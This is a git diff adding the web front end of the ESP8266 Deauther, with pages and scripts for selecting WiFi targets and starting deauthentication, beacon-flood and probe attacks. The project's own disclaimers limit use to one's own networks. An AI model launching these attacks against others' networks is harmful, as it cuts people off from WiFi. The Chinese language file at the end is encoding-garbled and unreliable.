y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("

a b c') + '

a b c' + """ # May look silly but Emmet does this and is wrong. + log.debug("Condensing HTML Script JS tags.") + return html.replace(' + + + +

+
+
+
+
+

Attacks

+ +

+ INFO:
+ + - You might lose connection when starting an attack!
+ - You need to select a target for the deauth attack.
+ - You need a saved SSID for the beacon and probe attack.
+ - Click reload to refresh the packet rate.
+
+ In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.
+

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttacksTargetsPkts/sSTART / STOP
Deauth00/0
Beacon00/0
Probe00/0
All Pkts/s:0
+ +

Deauth

+

+ Closes the connection of WiFi devices by sending deauthentication frames to access points and client devices you selected.
+ This is only possible because a lot of devices don't use the 802.11w-2009 standard that offers a protection against this attack.
+ Please only select one target! When you select multiple targets that run on different channels and start the attack, + it will quickly switch between those channels and you have no chance to reconnect to the access point that hosts this web interface. +

+ +

Beacon

+

+ Beacon packets are used to advertise access points. By continuously sending beacon packets out, it will look like you created new WiFi networks.
+ You can specify the network names under SSIDs.
+

+ +

Probe

+

+ Probe requests are sent by client devices to ask if a known network is nearby.
+ Use this attack to confuse WiFi trackers by asking for networks that you specified in the SSID list.
+ It's unlikely you will see any impact by this attack with your home network.
+

+ + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/attack.json b/enp8266/esp8266_deauther-master/web_interface/attack.json new file mode 100755 index 0000000..64cf893 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/attack.json @@ -0,0 +1 @@ +[[false,0,0,0],[false,0,0,0],[false,0,0,0],0] \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/index.html b/enp8266/esp8266_deauther-master/web_interface/index.html new file mode 100755 index 0000000..619034c --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/index.html @@ -0,0 +1,52 @@ + + + + + + + + + ESP8266 Deauther + + + + +
+
+
+
+

WARNING

+

+ This project is a proof of concept for testing and educational purposes.
+ Neither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!
+
+ Use it only against your own networks and devices!
+
+ It uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any frequencies.
+ Please check the legal regulations in your country before using it.
+
+ Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!
+ If you do, it only proves that you didn't understand anything of what this project stands for.
+ Publishing content about this without without a proper explanation shows that you only do it for the clicks, + fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard.
+
+ For more information visit: +

+

+ github.com/spacehuhn/esp8266_deauther
+
+
+ I have read and understood the notice above +

+ +
+
+
+ + \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/info.html b/enp8266/esp8266_deauther-master/web_interface/info.html new file mode 100755 index 0000000..d036c51 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/info.html @@ -0,0 +1,88 @@ + + + + + + + + + ESP8266 Deauther + + + + + +
+
+
+
+

Info

+ +

ESP8266 Deauther

+

+ Copyright (c) 2018 Stefan Kremser
+
+ This project is licensed under the MIT License. See the license file for details.
+ The source code is available on GitHub.
+
+ Use it only for testing or educational purposes against your own networks and devices!
+
+ Please don't refer to this project as "jammer", that totally undermines the real purpose of this project! +

+ +

Credits

+

+ A huge thanks to:
+

+ for helping out with various things regarding this project and keeping it alive!
+
+ I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
+
+ Shoutout to everyone working on the libraries used for this project:
+ +
+ Also thanks to everyone that supports this project by donating], beeing my patron or buying one of the official Deauther boards from DSTIKE.
+

+ +

Contact

+

+ Web: spacehuhn.com
+ GitHub: github.com/spacehuhn
+ Twitter: @spacehuhn
+ E-mail: mail@spacehuhn.com
+
+ If you would like to support me with my projects, please consider becoming a patron on patreon.com/spacehuhn.
+
+ Or buy the official hardware for this project from DSTIKE on tindie.com/stores/lspoplove. +

+ + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/js/attack.js b/enp8266/esp8266_deauther-master/web_interface/js/attack.js new file mode 100755 index 0000000..6edc414 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/attack.js @@ -0,0 +1,41 @@ +var attackJSON = [[false,0,0],[false,0,0],[false,0,0]]; + +function draw(){ + getE("deauth").innerHTML = attackJSON[0][0] ? lang("stop") : lang("start"); + getE("beacon").innerHTML = attackJSON[1][0] ? lang("stop") : lang("start"); + getE("probe").innerHTML = attackJSON[2][0] ? lang("stop") : lang("start"); + + getE("deauthTargets").innerHTML = esc(attackJSON[0][1]+""); + getE("beaconTargets").innerHTML = esc(attackJSON[1][1]+""); + getE("probeTargets").innerHTML = esc(attackJSON[2][1]+""); + + getE("deauthPkts").innerHTML = esc(attackJSON[0][2] + "/" + attackJSON[0][3]); + getE("beaconPkts").innerHTML = esc(attackJSON[1][2] + "/" + attackJSON[1][3]); + getE("probePkts").innerHTML = esc(attackJSON[2][2] + "/" + attackJSON[2][3]); + + getE("allpkts").innerHTML = esc(attackJSON[3]+""); +} + +function start(mode){ + switch(mode){ + case 0: + attackJSON[0][0] = !attackJSON[0][0]; + break; + case 1: + attackJSON[1][0] = !attackJSON[1][0]; + break; + case 2: + attackJSON[2][0] = !attackJSON[2][0]; + break; + } + getFile("run?cmd=attack"+(attackJSON[0][0] ? " -d":"")+(attackJSON[1][0] ? " -b":"")+(attackJSON[2][0] ? " -p":""),function(){ + draw(); + }); +} + +function load(){ + getFile("attack.json",function(response){ + attackJSON = JSON.parse(response); + draw(); + }); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/js/scan.js b/enp8266/esp8266_deauther-master/web_interface/js/scan.js new file mode 100755 index 0000000..eb4b8f1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/scan.js @@ -0,0 +1,262 @@ +var nameJson = []; +var scanJson = {aps:[],stations:[]}; + +function drawScan(){ + var html; + var selected; + var width; + var color; + var macVendor; + + // Access Points + getE("apNum").innerHTML = scanJson.aps.length; + html = "" + + "" + + "SSID" + + "Name" + + "Ch" + + "RSSI" + + "Enc" + + "" + + "MAC" + + "Vendor" + + "" + + "" + + ""; + + for(var i=0;i" : "") + + ""+i+"" // ID + + ""+esc(scanJson.aps[i][0])+"" // SSID + + ""+(scanJson.aps[i][1].length > 0 ? esc(scanJson.aps[i][1]) : "")+"" // Name + + ""+esc(scanJson.aps[i][2])+"" // Ch + // RSSI + + "
" + scanJson.aps[i][3] + "
" + + ""+esc(scanJson.aps[i][4])+"" // ENC + + ""+(scanJson.aps[i][4] == "-" ? "":"🔒")+"" // Lock Emoji + + ""+esc(scanJson.aps[i][5])+"" // MAC + + ""+esc(scanJson.aps[i][6])+"" // Vendor + // Select + + "" + + "" // Remove + + ""; + } + + getE("apTable").innerHTML = html; + + // Stations + getE("stNum").innerHTML = scanJson.stations.length; + html = "" + + "" + + "Vendor" + + "MAC" + + "Ch" + + "Name" + + "Pkts" + + "AP" + + "Last seen" + + "" + + "" + + ""; + + for(var i=0;i= 0) + ap = esc(scanJson.aps[scanJson.stations[i][5]][0]); + + html += (selected ? "" : "") + + ""+i+"" // ID + + ""+esc(scanJson.stations[i][3])+"" // Vendor + + ""+esc(scanJson.stations[i][0])+"" // MAC + + ""+esc(scanJson.stations[i][1])+"" // Ch + + ""+(scanJson.stations[i][2].length > 0 ? esc(scanJson.stations[i][2]) : "")+"" // Name + + ""+esc(scanJson.stations[i][4])+"" // Pkts + + ""+ap+"" // AP + + ""+esc(scanJson.stations[i][6])+"" // Last seen + // Select + + "" + + "" // Remove + + ""; + } + + getE("stTable").innerHTML = html; +} + +function drawNames(){ + var html; + var selected; + + // Names + getE("nNum").innerHTML = nameJson.length; + html = "" + + "" + + "MAC" + + "Vendor" + + "Name" + + "AP-BSSID" + + "Ch" + + "" + + "" + + "" + + ""; + + for(var i=0;i" : "") + + ""+i+"" // ID + + ""+esc(nameJson[i][0])+"" // MAC + + ""+esc(nameJson[i][1])+"" // Vendor + + ""+esc(nameJson[i][2].substring(0,16))+"" // Name + + ""+esc(nameJson[i][3])+"" // AP-BSSID + + ""+esc(nameJson[i][4])+"" // Ch + + "" // Save + // Select + + "" + + "" // Remove + + ""; + } + + getE("nTable").innerHTML = html; +} + +function scan(type){ + var cmdStr = "scan " + + (type == 0 ? "aps " : "stations -t "+getE("scanTime").value+"s") + + " -ch "+getE("ch").options[getE("ch").selectedIndex].value; + getFile("run?cmd="+cmdStr); +} + +function load(){ + // APs and Stations + getFile("run?cmd=save scan", function(){ + getFile("scan.json",function(res){ + scanJson = JSON.parse(res); + drawScan(); + }); + }); + // Names + getFile("run?cmd=save names", function(){ + getFile("names.json",function(res){ + nameJson = JSON.parse(res); + drawNames(); + }); + }); +} + +function selectRow(type,id,selected){ + switch(type){ + case 0: + scanJson.aps[id][7] = selected; + drawScan(); + getFile("run?cmd="+(selected ? "":"de")+"select ap "+id); + break; + case 1: + scanJson.stations[id][7] = selected; + drawScan(); + getFile("run?cmd="+(selected ? "":"de")+"select station "+id); + break; + case 2: + save(id); + nameJson[id][5] = selected; + drawNames(); + getFile("run?cmd="+(selected ? "":"de")+"select name "+id); + } +} + +function remove(type,id){ + switch(type){ + case 0: + scanJson.aps.splice(id, 1); + drawScan(); + getFile("run?cmd=remove ap "+id); + break; + case 1: + scanJson.stations.splice(id, 1); + drawScan(); + getFile("run?cmd=remove station "+id); + break; + case 2: + nameJson.splice(id, 1); + drawNames(); + getFile("run?cmd=remove name "+id); + } +} + +function save(id){ + var mac = getE("name_"+id+"_mac").innerHTML.replace("
",""); + var name = getE("name_"+id+"_name").innerHTML.replace("
",""); + var apbssid = getE("name_"+id+"_apbssid").innerHTML.replace("
",""); + var ch = getE("name_"+id+"_ch").innerHTML.replace("
",""); + var changed = mac != nameJson[id][0] || name != nameJson[id][2] || apbssid != nameJson[id][3] || ch != nameJson[id][4]; + if(changed){ + nameJson[id][0] = mac; + nameJson[id][2] = name; + nameJson[id][3] = apbssid; + nameJson[id][4] = ch; + + if(nameJson[id][0].length != 17){ + showMessage("ERROR: MAC invalid"); + return; + } + + getFile("run?cmd=replace name "+id+" -n \""+nameJson[id][2]+"\" -m \""+nameJson[id][0]+"\" -ch "+nameJson[id][4]+" -b \""+nameJson[id][3]+"\" "+(nameJson[id][5] ? "-s" : "")); + + drawNames(); + } +} + +function add(type,id){ + if(nameJson.length >= 25){ + showMessage("Device Name List is full!"); + return; + } + + switch(type){ + case 0: + getFile("run?cmd=add name \""+scanJson.aps[id][0]+"\" -ap "+id); + scanJson.aps[id][1] = scanJson.aps[id][0]; // name = SSID + nameJson.push([scanJson.aps[id][5],scanJson.aps[id][6],scanJson.aps[id][0],"",scanJson.aps[id][2],false]); + drawScan(); + break; + case 1: + getFile("run?cmd=add name \""+scanJson.stations[id][0]+"\" station "+id); + scanJson.stations[id][2] = "device_"+nameJson.length; // name = device_ + nameJson.push([scanJson.stations[id][0],scanJson.stations[id][3],"device_"+nameJson.length,scanJson.aps[scanJson.stations[id][5]][5],scanJson.stations[id][1],false]); + drawScan(); + break; + case 2: + getFile("run?cmd=add name device_"+nameJson.length+" -m 00:00:00:00:00:00 -ch 1"); + nameJson.push(["00:00:00:00:00:00","","device_"+nameJson.length,"",1,false]); + drawNames(); + } + + drawNames(); +} + +function selectAll(type,select){ + switch(type){ + case 0: + getFile("run?cmd="+(select ? "":"de")+"select aps"); + for(var i=0;i" + + "" + + "" + + "
"; + + if(typeof settingsJson[key] == "boolean"){ + html += ""; + }else if(typeof settingsJson[key] == "number"){ + html += ""; + }else if(typeof settingsJson[key] == "string"){ + html += ""; + } + + html += "
" + + "" + + "
" + + "
" + + "

"+lang("setting_"+key)+"

" + + "
" + + "
" + + "
"; + } + } + getE("settingsList").innerHTML = html; +} + +function save(key, value){ + if(key){ + settingsJson[key] = value; + getFile("run?cmd=set "+key+" \""+value+"\""); + }else{ + getFile("run?cmd=save settings",function(res){ + load(); + }); + } +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/js/site.js b/enp8266/esp8266_deauther-master/web_interface/js/site.js new file mode 100755 index 0000000..54665e7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/site.js @@ -0,0 +1,118 @@ +var langJson = {}; + +function getE(name){ + return document.getElementById(name); +} + +function esc(str) { + if(str){ + return str.toString() + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/\"/g, '"') + .replace(/\'/g, ''') + .replace(/\//g, '/'); + } + return ""; +} + +function convertLineBreaks(str){ + if(str){ + str = str.toString(); + str = str.replace(/(?:\r\n|\r|\n)/g,'
'); + return str; + } + return ""; +} + +function showMessage(msg, closeAfter){ + var elmt = getE("error"); + elmt.innerHTML = esc(msg)+"x"; + + elmt.classList.remove('hide'); + elmt.classList.add('show'); + + if(closeAfter !== undefined){ + setTimeout(closeMessage(),closeAfter); + } +} + +function closeMessage(){ + var elmt = getE("error"); + elmt.innerHTML = ""; + elmt.classList.remove('show'); + elmt.classList.add('hide'); +} + +function getFile(adr, callback, timeout, method, onTimeout, onError){ + /* fallback stuff */ + if(adr === undefined) return; + if(callback === undefined) callback = function(){}; + if(timeout === undefined) timeout = 8000; + if(method === undefined) method = "GET"; + if(onTimeout === undefined) { + onTimeout = function(){ + showMessage("ERROR: timeout loading file "+adr); + }; + } + if(onError === undefined){ + onError = function(){ + showMessage("ERROR: loading file: "+adr); + }; + } + + /* create request */ + var request = new XMLHttpRequest(); + + /* set parameter for request */ + request.open(method, encodeURI(adr), true); + request.timeout = timeout; + request.ontimeout = onTimeout; + request.onerror = onError; + request.overrideMimeType("application/json"); + + request.onreadystatechange = function() { + if(this.readyState == 4){ + if(this.status == 200){ + callback(this.responseText); + } + } + }; + + /* send request */ + request.send(); + + console.log(adr); +} + +function lang(key){ + return convertLineBreaks(esc(langJson[key])); +} + +function parseLang(fileStr){ + langJson = JSON.parse(fileStr); + if(langJson["lang"] != "en"){// no need to update the HTML + var elements = document.querySelectorAll("[data-translate]"); + for (i = 0; i < elements.length; i++) { + var element = elements[i]; + element.innerHTML = lang(element.getAttribute("data-translate")); + } + } + document.querySelector('html').setAttribute("lang", langJson["lang"] ); + if(typeof load !== 'undefined') load(); +} + +function loadLang(){ + var language = "default"; //navigator.language.slice(0, 2); + getFile("lang/" + language + ".lang", + parseLang, + 2000, + "GET", + function(){ + getFile("lang/en.lang", parseLang); + }, function(){ + getFile("lang/en.lang", parseLang); + } + ); +} diff --git a/enp8266/esp8266_deauther-master/web_interface/js/ssids.js b/enp8266/esp8266_deauther-master/web_interface/js/ssids.js new file mode 100755 index 0000000..dd2ac32 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/ssids.js @@ -0,0 +1,105 @@ +var ssidJson = {"random":false,"ssids":[]}; + +function load(){ + getFile("run?cmd=save ssids", function(){ + getFile("ssids.json",function(res){ + ssidJson = JSON.parse(res); + draw(); + }); + }); +} + +function draw(){ + var html; + + html = "" + + "" + + "" + + "" + + "" + + "" + + ""; + + for(var i=0;i"+i+"" // ID + + ""+esc(ssidJson.ssids[i][0].substring(0,ssidJson.ssids[i][2]))+"" // SSID + + ""+(ssidJson.ssids[i][1] ? "🔒" : "-")+"" // Enc + + "" // Save + + "" // Remove + + ""; + } + + getE("randomBtn").innerHTML = ssidJson.random ? lang("disable_random") : lang("enable_random"); + + getE("ssidTable").innerHTML = html; +} + +function remove(id){ + ssidJson.ssids.splice(id, 1); + getFile("run?cmd=remove ssid "+id); + draw(); +} + +function add(){ + var ssidStr = getE("ssid").value; + var wpa2 = getE("enc").checked; + var clones = getE("ssidNum").value; + var force = getE("overwrite").checked; + + if(ssidStr.length > 0){ + var cmdStr = "add ssid \""+ssidStr+"\""+(force ? " -f":" ")+" -cl "+clones; + if(wpa2) cmdStr += " -wpa2"; + + getFile("run?cmd="+cmdStr); + + for(var i=0;i= 60) ssidJson.ssids.splice(0,1); + ssidJson.ssids.push([ssidStr,wpa2]); + } + + draw(); + } +} + +function enableRandom(){ + if(ssidJson.random){ + getFile("run?cmd=disable random",function(){ + load(); + }); + }else{ + getFile("run?cmd=enable random "+getE("interval").value,function(){ + load(); + }); + } + +} + +function disableRandom(){ + +} + +function addSelected(){ + getFile("run?cmd=add ssid -s"+(getE("overwrite").checked ? " -f":"")); +} + +function changeEnc(id){ + ssidJson.ssids[id][1] = !ssidJson.ssids[id][1]; + draw(); + save(id); +} + +function removeAll(){ + ssidJson.ssids = []; + getFile("run?cmd=remove ssids"); + draw(); +} + +function save(id){ + var name = getE("ssid_"+id).innerHTML.replace("
","").substring(0,32); + var wpa2 = ssidJson.ssids[id][1]; + ssidJson.ssids[id] = [name,wpa2]; + + getFile("run?cmd=replace ssid "+id+" -n \""+name+"\" "+(wpa2 ? "-wpa2" : "")); +} + diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/cn.lang b/enp8266/esp8266_deauther-master/web_interface/lang/cn.lang new file mode 100755 index 0000000..4bca2b4 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/cn.lang @@ -0,0 +1,74 @@ +{ + "lang": "cn", + "warning": "注æ„ï¼", + "disclaimer": "该项目仅用于个人学习和研究使用\nESP8266åŠå…¶SDKéƒ½ä¸æ˜¯ä¸ºæ­¤ç›®çš„而设计或构建的。å¯èƒ½ä¼šæœ‰ Bug 出现ï¼\n请仅在自己的网络和设备上使用ï¼\n本项目使用IEEE 802.11标准中æè¿°çš„æœ‰æ•ˆWi-Fi帧,ä¸ä¼šé˜»æ­¢æˆ–ç ´å任何频带。\n使用å‰è¯·æ£€æŸ¥æ‚¨çš„国家的法律法规。\n\n请ä¸è¦å°†è¿™ä¸ªé¡¹ç›®ç§°ä¸ºâ€œå¹²æ‰°å™¨â€ï¼Œè¿™å®Œå…¨ç ´å了这个项目的真正目的ï¼\n如果你这样åšï¼Œå®ƒåªèƒ½è¯æ˜Žä½ ä¸äº†è§£è¿™ä¸ªé¡¹ç›®æ„味ç€ä»€ä¹ˆã€‚\n请勿用于商业用途,或为了自身利益å‘布该项目的消æ¯ï¼Œè¿™åªèƒ½è¯´æ˜Žä½ ä¸å°Šé‡çŸ¥è¯†äº§æƒï¼Œä»¥åŠèƒŒåŽçš„社区和为了更好的WiFi标准的斗争。\n\n详情请访问:", + "disclaimer-button": "我已阅读并明白上述注æ„事项。", + "reload": "刷新", + "scan": "扫æ", + "ssids": "SSIDs", + "attacks": "攻击", + "settings": "设置", + "info": "关于", + "info_span": "注æ„: ", + "all": "全部", + "channel": "ä¿¡é“", + "devices": "ä¿å­˜çš„设备", + "select_all": "全选", + "deselect_all": "å…¨ä¸é€‰", + "remove_all": "移除全部", + "station_scan_time": "Stationæ‰«ææ—¶é—´", + "new": "新建", + "save": "ä¿å­˜", + "add": "添加", + "add_selected": "克隆所选接入点", + "overwrite": "覆盖", + "time_interval": "æ—¶é—´é—´éš”", + "number": "æ•°é‡", + "targets": "目标", + "scan_info": "- 点击扫æå¹¶ç­‰å¾…,直到主æ¿ä¸Šçš„è“色LED指示ç¯ç†„ç­ï¼ˆæˆ–å˜ä¸ºç»¿è‰²ï¼‰ï¼Œç„¶åŽç‚¹å‡»åˆ·æ–°ã€‚\n- 在Stationæ‰«ææœŸé—´ï¼ŒWeb界é¢å°†ä¸å¯ç”¨ï¼Œæ‚¨å¯èƒ½éœ€è¦é‡æ–°è¿žæŽ¥ï¼\n- 请åªé€‰æ‹©ä¸€ä¸ªç›®æ ‡ï¼\n", + "ssids_info": "- æ­¤SSID列表用于信标(beacon)和探测(probe)攻击。\n- æ¯ä¸ªSSID最多å¯ä»¥æœ‰32个字符。\n- 修改SSIDåŽä¸è¦å¿˜è®°ç‚¹å‡»ä¿å­˜ã€‚\n- 您需è¦åœ¨å…‹éš†SSIDåŽç‚¹å‡»åˆ·æ–°ã€‚\n", + "attack_info": "- 您在开始攻击时å¯èƒ½ä¼šå¤±åŽ»è¿žæŽ¥ï¼\n- 你需è¦ä¸ºå–æ¶ˆéªŒè¯æ´ªæ°´æ”»å‡»(deauth)攻击选择一个目标。\n- 您需è¦ä¿å­˜ä¸€ä¸ªSSIDæ¥è¿›è¡Œä¿¡æ ‡å’ŒæŽ¢æµ‹æ”»å‡»ã€‚\n- 点击刷新以刷新数æ®åŒ…速率。\n", + "settings_info": "- æŸäº›è®¾ç½®éœ€è¦é‡å¯åŽæ‰èƒ½ç”Ÿæ•ˆã€‚\n- 修改设置åŽè¯·åŠ¡å¿…ç‚¹å‡»ä¿å­˜ä»¥ç”Ÿæ•ˆã€‚\n", + "info_disclaimer": "如果å‘生了ä¸å¯é¢„计的错误,请é‡è½½ç½‘页并使用串å£ç›‘视器以进一步调试。", + "start_stop": "开始 / åœæ­¢", + "start": "开始", + "stop": "åœæ­¢", + "wifi_off": "WiFi关闭", + "reboot": "é‡å¯", + "reset": "é‡ç½®", + "enable_random": "å¼€å¯éšæœºæ¨¡å¼", + "disable_random": "å…³é—­éšæœºæ¨¡å¼", + "random_desc": "å¯ç”¨éšæœºæ¨¡å¼ä»¥åœ¨ç»™å®šæ—¶é—´é—´éš”内生æˆéšæœºçš„SSID列表", + "deauth_desc": "é€šè¿‡å‘æ‚¨é€‰æ‹©çš„æŽ¥å…¥ç‚¹å’Œå®¢æˆ·ç«¯è®¾å¤‡å‘é€è§£é™¤è®¤è¯å¸§æ¥å…³é—­WiFi设备的连接。\n因为很多设备ä¸ä½¿ç”¨802.11w-2009æ ‡å‡†æ¥æŠµå¾¡è¿™ç§æ”»å‡»ã€‚\n- 请åªé€‰æ‹©ä¸€ä¸ªç›®æ ‡ï¼å½“您开始攻击的ä¸åŒä¿¡é“上的多个目标时,它将在这些信é“之间快速切æ¢ï¼Œå±Šæ—¶æ‚¨å°†æ— æ³•釿–°è¿žæŽ¥åˆ°æ­¤Web界é¢ã€‚\n", + "beacon_desc": "信标帧(Beacon)æ•°æ®åŒ…ç”¨äºŽå®£å‘ŠæŽ¥å…¥ç‚¹ã€‚é€šè¿‡ä¸æ–­å‘é€ä¿¡æ ‡å¸§æ•°æ®åŒ…,看起æ¥å°±åƒæ‚¨åˆ›å»ºäº†æ–°çš„WiFi网络。\n您å¯ä»¥é€šè¿‡SSID指定网络å称。", + "probe_desc": "探测请求帧由客户端设备å‘é€ï¼Œä»¥è¯¢é—®ä¸€ä¸ªå·²çŸ¥ç½‘络是å¦åœ¨é™„近。\n通过请求您在SSIDåˆ—è¡¨ä¸­æŒ‡å®šçš„ç½‘ç»œï¼Œä»¥æ­¤æ¥æ··æ·†WiFi跟踪器。\n您å¯èƒ½ä¸ä¼šåœ¨å®¶åº­ç½‘络中看到此次攻击的任何影å“。", + "setting_version": "版本å·ï¼Œæ¯”如说 v2.0.1\n这个选项åªèƒ½åœ¨æºä»£ç ä¸­æ›´æ”¹", + "setting_ssid" : "Wi-Fi 热点 SSID (如果已å¯ç”¨)。\nSSID长度必须在8到31个字符之间。", + "setting_password": "Wi-Fi 密ç (如果已å¯ç”¨)。\n密ç é•¿åº¦å¿…须在8到31个字符之间。", + "setting_channel": "å¯åŠ¨æ—¶é»˜è®¤ä½¿ç”¨çš„ä¿¡é“。", + "setting_hidden": "éšè—接入点的SSID。", + "setting_captivePortal": "å¯ç”¨captive portal(无线认è¯ç³»ç»Ÿï¼‰ã€‚", + "setting_autosave": "自动ä¿å­˜SSIDsã€è®¾å¤‡å和设置。", + "setting_autosavetime": "自动ä¿å­˜çš„æ—¶é—´é—´éš”(ms)。", + "setting_display": "å¯ç”¨OLED界é¢ã€‚", + "setting_displayTimeout": "OLEDè¶…æ—¶æ—¶é—´(s)。\n若需è¦å…³é—­è¶…时,请设置æˆ0。", + "setting_serial": "å¯ç”¨ä¸²å£æŽ§åˆ¶ç•Œé¢.\n推èä¸è¦å…³é—­ã€‚", + "setting_serialEcho": "å¼€å¯ä¸²å£è¾“入回显", + "setting_web": "å¯ç”¨Web界é¢ã€‚", + "settings_webSpiffs": "对所有文件å¯ç”¨ SPIFFS", + "setting_led": "å¯ç”¨ (RGB) LEDç¯ã€‚", + "setting_maxch": "扫æçš„æœ€å¤§ä¿¡é“。\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "接入点模å¼ä¸‹çš„MAC地å€ã€‚\nåªæœ‰åœ¨æŽ¥å…¥ç‚¹æ¨¡å¼å¼€å¯æ—¶æ‰ä¼šæ”¹å˜MAC地å€ã€‚", + "setting_macSt": "客户端模å¼ä¸‹çš„MAC地å€ã€‚\nåªæœ‰åœ¨å®¢æˆ·ç«¯æ¨¡å¼å¼€å¯æ—¶æ‰ä¼šæ”¹å˜MAC地å€ã€‚", + "setting_chtime": "扫æç¬¬ä¸€ä¸ªä¿¡é“到第二个信é“的时间间隔(ms)(åªæœ‰åœ¨ä¿¡é“è·³å˜å¼€å¯æ—¶æœ‰æ•ˆ)。", + "setting_minDeauths": "æ‰«ææœ€å°è§£é™¤è®¤è¯æ”»å‡»å¸§çš„æ•°é‡ï¼Œæ”¹å˜å–æ¶ˆéªŒè¯æ´ªæ°´æ”»å‡»æ¨¡å¼ä¸‹çš„LED。", + "setting_attacktimeout": "指定时间(s)åŽè‡ªåŠ¨åœæ­¢æ”»å‡»ã€‚\n设定为0以关闭。", + "setting_forcepackets": 